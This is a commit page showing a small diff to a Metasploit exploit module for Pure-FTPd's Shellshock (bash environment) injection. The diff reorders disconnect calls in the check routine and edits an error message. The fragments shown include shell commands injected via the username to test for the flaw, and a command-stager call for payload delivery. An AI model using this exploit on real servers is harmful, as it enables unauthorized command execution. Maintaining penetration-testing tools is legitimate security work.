Skip to content

Commit e242bf9

Browse files
committed
Land rapid7#4031, fixes for pureftpd_bash_env_exec
2 parents c503e8a + 09069f7 commit e242bf9

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -75,11 +75,12 @@ def check
7575
random_id = (rand(100) + 1)
7676
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
7777
if send_command(username, command) =~ /^2\d\d ok./i
78-
return CheckCode::Safe if banner !~ /pure-ftpd/i
7978
disconnect
79+
return CheckCode::Safe if banner !~ /pure-ftpd/i
8080

8181
command = "echo auth_ok:0; echo end"
8282
if send_command(username, command) =~ /^5\d\d login authentication failed/i
83+
disconnect
8384
return CheckCode::Vulnerable
8485
end
8586
end
@@ -98,7 +99,7 @@ def exploit
9899
# Cannot use generic/shell_reverse_tcp inside an elf
99100
# Checking before proceeds
100101
if generate_payload_exe.blank?
101-
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
102+
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
102103
end
103104

104105
execute_cmdstager(linemax: 500)

0 commit comments

Comments
 (0)